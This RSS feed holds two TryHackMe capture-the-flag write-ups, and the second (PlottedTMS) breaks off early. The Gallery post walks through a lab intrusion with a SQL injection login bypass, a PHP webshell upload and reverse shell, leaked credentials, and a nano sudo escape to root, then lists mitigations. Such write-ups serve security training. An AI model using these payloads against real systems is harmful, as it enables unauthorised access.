<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Yogeshwar Peela</title>
    <description>The latest articles on DEV Community by Yogeshwar Peela (@exploitnotes).</description>
    <link>https://dev.to/exploitnotes</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3953474%2F44022a43-aec2-495f-9244-5a1e6ddc9e42.jpg</url>
      <title>DEV Community: Yogeshwar Peela</title>
      <link>https://dev.to/exploitnotes</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/exploitnotes"/>
    <language>en</language>
    <item>
      <title>TryHackMe: Gallery Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 12 Oct 2026 13:47:12 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-gallery-writeup-1hf2</link>
      <guid>https://dev.to/exploitnotes/tryhackme-gallery-writeup-1hf2</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Gallery is a Linux box running a "Simple Image Gallery System" PHP application on port 8080. The login form is vulnerable to a classic SQL injection auth bypass, which grants admin access. The admin profile page allows an avatar upload with no file-type restriction, enabling a PHP webshell upload and remote code execution as &lt;code&gt;www-data&lt;/code&gt;. Database credentials recovered from the source lead to the &lt;code&gt;gallery_db&lt;/code&gt; MySQL instance, and a world-readable backup of a user's &lt;code&gt;.bash_history&lt;/code&gt; leaks a plaintext password for the user &lt;code&gt;mike&lt;/code&gt;. Once logged in as &lt;code&gt;mike&lt;/code&gt;, a misconfigured sudo rule allows running &lt;code&gt;/opt/rootkit.sh&lt;/code&gt; as root with no password; the script shells out to &lt;code&gt;nano&lt;/code&gt; as root, which is abused as a GTFOBin to spawn a root shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Open &amp;lt;MACHINE_IP&amp;gt;:22
Open &amp;lt;MACHINE_IP&amp;gt;:80
Open &amp;lt;MACHINE_IP&amp;gt;:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,8080 &lt;span class="nt"&gt;-oN&lt;/span&gt; gallery-nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Simple Image Gallery System
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Port 80 is the stock Apache default page (nothing of interest). Port 8080 redirects to &lt;code&gt;/gallery/login.php&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://&amp;lt;MACHINE_IP&amp;gt;/gallery/./login.php&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This revealed the real document root is &lt;code&gt;/gallery/&lt;/code&gt; under the port-80 vhost, and the app is "Simple Image Gallery System" by &lt;code&gt;oretnom23&lt;/code&gt;, v1.0.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. SQL Injection Auth Bypass
&lt;/h2&gt;

&lt;p&gt;The login form posts a username and password to &lt;code&gt;login.php&lt;/code&gt;. Supplying a classic boolean-based injection in the username field bypasses authentication entirely:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Username: &lt;code&gt;' or 1=1-- -&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: anything (&lt;code&gt;1234&lt;/code&gt; used here)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This logged straight in as the first user in the &lt;code&gt;users&lt;/code&gt; table, the admin account, confirming the login query is unparameterized and string-concatenated.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Admin Panel -&amp;gt; Arbitrary File Upload -&amp;gt; RCE
&lt;/h2&gt;

&lt;p&gt;Once authenticated as admin, the profile page at &lt;code&gt;?page=user&lt;/code&gt; exposes an avatar upload field with no server-side extension or content-type validation. Uploading a PHP webshell as the avatar is accepted and stored under &lt;code&gt;uploads/&lt;/code&gt;, and is directly reachable and executable from the web root. The avatar is rendered back into the admin UI itself, so after submitting the update, simply reloading the page (or navigating back to the dashboard) is enough to load the uploaded avatar and trigger execution - no need to browse to the file path directly. A listener was staged first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;penelope listen &lt;span class="nt"&gt;-p&lt;/span&gt; 4444
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Triggering the shell gave an interactive callback:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[+] [New Reverse Shell] =&amp;gt; ip-&amp;lt;MACHINE_IP&amp;gt; &amp;lt;MACHINE_IP&amp;gt; Linux-x86_64  www-data(33)  Session ID &amp;lt;1&amp;gt;
www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/$ whoami
www-data
www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Source Review and Database Access
&lt;/h2&gt;

&lt;p&gt;Reading the application source confirmed the injection point and surfaced database credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="o"&gt;-&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;MACHINE_IP&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;:/&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;www&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;gallery&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;cat&lt;/span&gt; &lt;span class="n"&gt;initialize&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;
&lt;span class="nv"&gt;$dev_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'id'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'-1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'firstname'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'Developer'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'lastname'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'dev_oretnom'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'password'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="s1"&gt;'5da283a2d990e8d8512cf967df5bc0d0'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_SERVER'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_SERVER'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_USERNAME'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_USERNAME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"gallery_user"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_PASSWORD'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_PASSWORD'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"passw0rd321"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;defined&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_NAME'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="nb"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'DB_NAME'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"gallery_db"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using these credentials directly against the local MySQL instance (binding only to &lt;code&gt;127.0.0.1:3306&lt;/code&gt;) worked even though the same creds failed when the shell's effective user didn't match what MySQL expected over the socket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:/var/www&lt;span class="nv"&gt;$ &lt;/span&gt;mysql &lt;span class="nt"&gt;-u&lt;/span&gt; gallery_user &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s1"&gt;'passw0rd321'&lt;/span&gt; &lt;span class="nt"&gt;-h&lt;/span&gt; 127.0.0.1 &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"use gallery_db; select * from users;"&lt;/span&gt;
&lt;span class="go"&gt;+----+--------------+----------+----------+----------------------------------+
| id | firstname    | lastname | username | password                         |
+----+--------------+----------+----------+----------------------------------+
|  1 | Adminstrator | Admin    | admin    | a228b12a08b6527e7978cbe5d914531c |
+----+--------------+----------+----------+----------------------------------+
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirms the admin table entry used in the SQLi bypass, though database access doesn't directly advance privilege escalation on its own.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Local Enumeration and Lateral Movement to mike
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
mike:x:1001:1001:mike:/home/mike:/bin/bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/home/mike&lt;/code&gt; itself wasn't readable, but a backup copy of the home directory was world-readable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var$ ls -la /var/backups/mike_home_backup/
-rwxr-xr-x 1 root root  135 May 24  2021 .bash_history
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/backups/mike_home_backup/.bash_history
&lt;span class="nb"&gt;cd&lt;/span&gt; ~
&lt;span class="nb"&gt;ls
&lt;/span&gt;ping 1.1.1.1
&lt;span class="nb"&gt;cat&lt;/span&gt; /home/mike/user.txt
&lt;span class="nb"&gt;cd&lt;/span&gt; /var/www/
&lt;span class="nb"&gt;ls
cd &lt;/span&gt;html
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-al&lt;/span&gt;
&lt;span class="nb"&gt;cat &lt;/span&gt;index.html
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-lb3stpassw0rdbr0xx&lt;/span&gt;
clear
&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The line &lt;code&gt;sudo -lb3stpassw0rdbr0xx&lt;/code&gt; is mike typing his sudo password straight after &lt;code&gt;sudo -l&lt;/code&gt; without a space (the shell echoed it back into history as one token). The password is &lt;code&gt;b3stpassw0rdbr0xx&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;www-data@ip-&amp;lt;MACHINE_IP&amp;gt;:/var$ su mike
Password: 
mike@ip-&amp;lt;MACHINE_IP&amp;gt;:/var$ cd ~
mike@ip-&amp;lt;MACHINE_IP&amp;gt;:~$ cat user.txt
THM{REDACTED}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Privilege Escalation: sudo rootkit.sh -&amp;gt; nano GTFOBin
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;mike@ip-&amp;lt;MACHINE_IP&amp;gt;:~$ sudo -l
User mike may run the following commands on ip-&amp;lt;MACHINE_IP&amp;gt;:
    (root) NOPASSWD: /bin/bash /opt/rootkit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;mike@ip-&amp;lt;MACHINE_IP&amp;gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /opt/rootkit.sh
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"Would you like to versioncheck, update, list or read the report ? "&lt;/span&gt; ans&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="nv"&gt;$ans&lt;/span&gt; &lt;span class="k"&gt;in
    &lt;/span&gt;versioncheck&lt;span class="p"&gt;)&lt;/span&gt;
        /usr/bin/rkhunter &lt;span class="nt"&gt;--versioncheck&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
    update&lt;span class="p"&gt;)&lt;/span&gt;
        /usr/bin/rkhunter &lt;span class="nt"&gt;--update&lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;
    list&lt;span class="p"&gt;)&lt;/span&gt;
        /usr/bin/rkhunter &lt;span class="nt"&gt;--list&lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="nb"&gt;read&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        /bin/nano /root/report.txt&lt;span class="p"&gt;;;&lt;/span&gt;
    &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;;;&lt;/span&gt;
&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;read&lt;/code&gt; branch opens &lt;code&gt;/root/report.txt&lt;/code&gt; in &lt;code&gt;nano&lt;/code&gt; as root. Modern nano supports executing a command and piping its output into the buffer (&lt;code&gt;Ctrl+R&lt;/code&gt;, &lt;code&gt;Ctrl+X&lt;/code&gt;), which runs as the nano process's user - root here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;mike@ip-&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /bin/bash /opt/rootkit.sh
&lt;span class="go"&gt;Would you like to versioncheck, update, list or read the report ? read
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside nano: &lt;code&gt;Ctrl+R&lt;/code&gt; -&amp;gt; &lt;code&gt;Ctrl+X&lt;/code&gt; -&amp;gt; &lt;code&gt;Execute Command&lt;/code&gt; prompt -&amp;gt; entered:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;reset&lt;span class="p"&gt;;&lt;/span&gt; sh 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This spawned an interactive root shell inside the nano session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# whoami&lt;/span&gt;
root
&lt;span class="c"&gt;# cd /root&lt;/span&gt;
&lt;span class="c"&gt;# ls&lt;/span&gt;
report.txt  root.txt
&lt;span class="c"&gt;# cat root.txt&lt;/span&gt;
THM&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;SQL injection, auth bypass&lt;/td&gt;
&lt;td&gt;&lt;code&gt;login.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated admin login&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Unrestricted file upload&lt;/td&gt;
&lt;td&gt;Admin profile avatar upload (&lt;code&gt;?page=user&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;PHP webshell upload -&amp;gt; RCE as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Hardcoded DB credentials in source&lt;/td&gt;
&lt;td&gt;&lt;code&gt;initialize.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Full access to &lt;code&gt;gallery_db&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;World-readable backup with plaintext password in shell history&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/backups/mike_home_backup/.bash_history&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Credential disclosure, lateral movement to &lt;code&gt;mike&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Overly permissive sudo rule + GTFOBin (&lt;code&gt;nano&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;sudo -l&lt;/code&gt; -&amp;gt; &lt;code&gt;/opt/rootkit.sh&lt;/code&gt; -&amp;gt; &lt;code&gt;nano&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Privilege escalation to root&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan (22, 80, 8080)
        │
        ▼
Simple Image Gallery System on :8080
        │
        ▼
SQL injection auth bypass (' or 1=1-- -)
        │
        ▼
Logged in as admin
        │
        ▼
Unrestricted avatar upload -&amp;gt; PHP webshell
        │
        ▼
RCE as www-data (reverse shell)
        │
        ▼
initialize.php leaks DB creds -&amp;gt; gallery_db confirmed
        │
        ▼
/var/backups/mike_home_backup/.bash_history leaks mike's password
        │
        ▼
su mike -&amp;gt; user.txt
        │
        ▼
sudo -l: NOPASSWD /opt/rootkit.sh
        │
        ▼
rootkit.sh -&amp;gt; nano /root/report.txt (as root)
        │
        ▼
nano Execute Command GTFOBin -&amp;gt; root shell
        │
        ▼
root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Use parameterized queries / prepared statements for all authentication and data-access code; never concatenate user input into SQL.&lt;/li&gt;
&lt;li&gt;Validate uploaded files server-side by content (magic bytes) and re-encode images rather than trusting the filename extension; store uploads outside the webroot or in a directory with PHP execution disabled.&lt;/li&gt;
&lt;li&gt;Never hardcode database credentials in application source; use environment variables or a secrets manager, and keep source out of the web-accessible document root.&lt;/li&gt;
&lt;li&gt;Ensure backup archives and directories preserve the original ownership and permission model of the files they contain; a backup should never be more permissive than the source it was taken from. Avoid persisting shell history files with credentials at all.&lt;/li&gt;
&lt;li&gt;Scope sudo rules to the minimum necessary; avoid NOPASSWD wrappers around scripts that shell out to interactive, full-featured editors like &lt;code&gt;nano&lt;/code&gt;, &lt;code&gt;vim&lt;/code&gt;, &lt;code&gt;less&lt;/code&gt;, etc. Use &lt;code&gt;sudoedit&lt;/code&gt; or a restricted editor mode instead.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>tryhackme</category>
      <category>ctf</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe: PlottedTMS Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Mon, 12 Oct 2026 13:38:20 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-plottedtms-writeup-im</link>
      <guid>https://dev.to/exploitnotes/tryhackme-plottedtms-writeup-im</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Plotted is a Linux CTF box hosting a PHP "Traffic Offense Management System" (TOMS) admin panel across two web services (ports 80 and 445). Initial enumeration uncovered decoy files and a leaked SQL database backup exposing weak MD5 password hashes. The web login was bypassed with a classic SQL injection auth bypass, and an arbitrary file upload in the admin panel's logo setting gave remote code execution as &lt;code&gt;www-data&lt;/code&gt;. A misconfigured cron job combined with a writable script directory allowed privilege escalation to &lt;code&gt;plot_admin&lt;/code&gt;, and a misconfigured &lt;code&gt;doas&lt;/code&gt; rule for &lt;code&gt;openssl&lt;/code&gt; allowed arbitrary file read as root, recovering the root flag.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;Port scan with rustscan + nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rustscan -a &amp;lt;MACHINE_IP&amp;gt; --ulimit 5000

Open &amp;lt;MACHINE_IP&amp;gt;:80
Open &amp;lt;MACHINE_IP&amp;gt;:22
Open &amp;lt;MACHINE_IP&amp;gt;:445

nmap -A &amp;lt;MACHINE_IP&amp;gt; -p 80,22,445 -oN plottedtms-nmap

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both port 80 and port 445 serve HTTP (445 is not SMB here, just Apache on a non-standard port). Both returned the default Apache2 Ubuntu page on &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Web Enumeration - Port 80
&lt;/h2&gt;

&lt;p&gt;Directory brute force with feroxbuster turned up a directory listing and some decoy files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;feroxbuster -u http://&amp;lt;MACHINE_IP&amp;gt;/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

200   GET   admin/id_rsa
301   GET   admin =&amp;gt; admin/
200   GET   passwd
200   GET   shadow
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;/admin/id_rsa
VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE

curl http://&amp;lt;MACHINE_IP&amp;gt;/passwd
&lt;span class="nv"&gt;bm90IHRoaXMgZWFzeSA6RA&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;

curl http://&amp;lt;MACHINE_IP&amp;gt;/shadow
&lt;span class="nv"&gt;bm90IHRoaXMgZWFzeSA6RA&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Decoding the base64:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
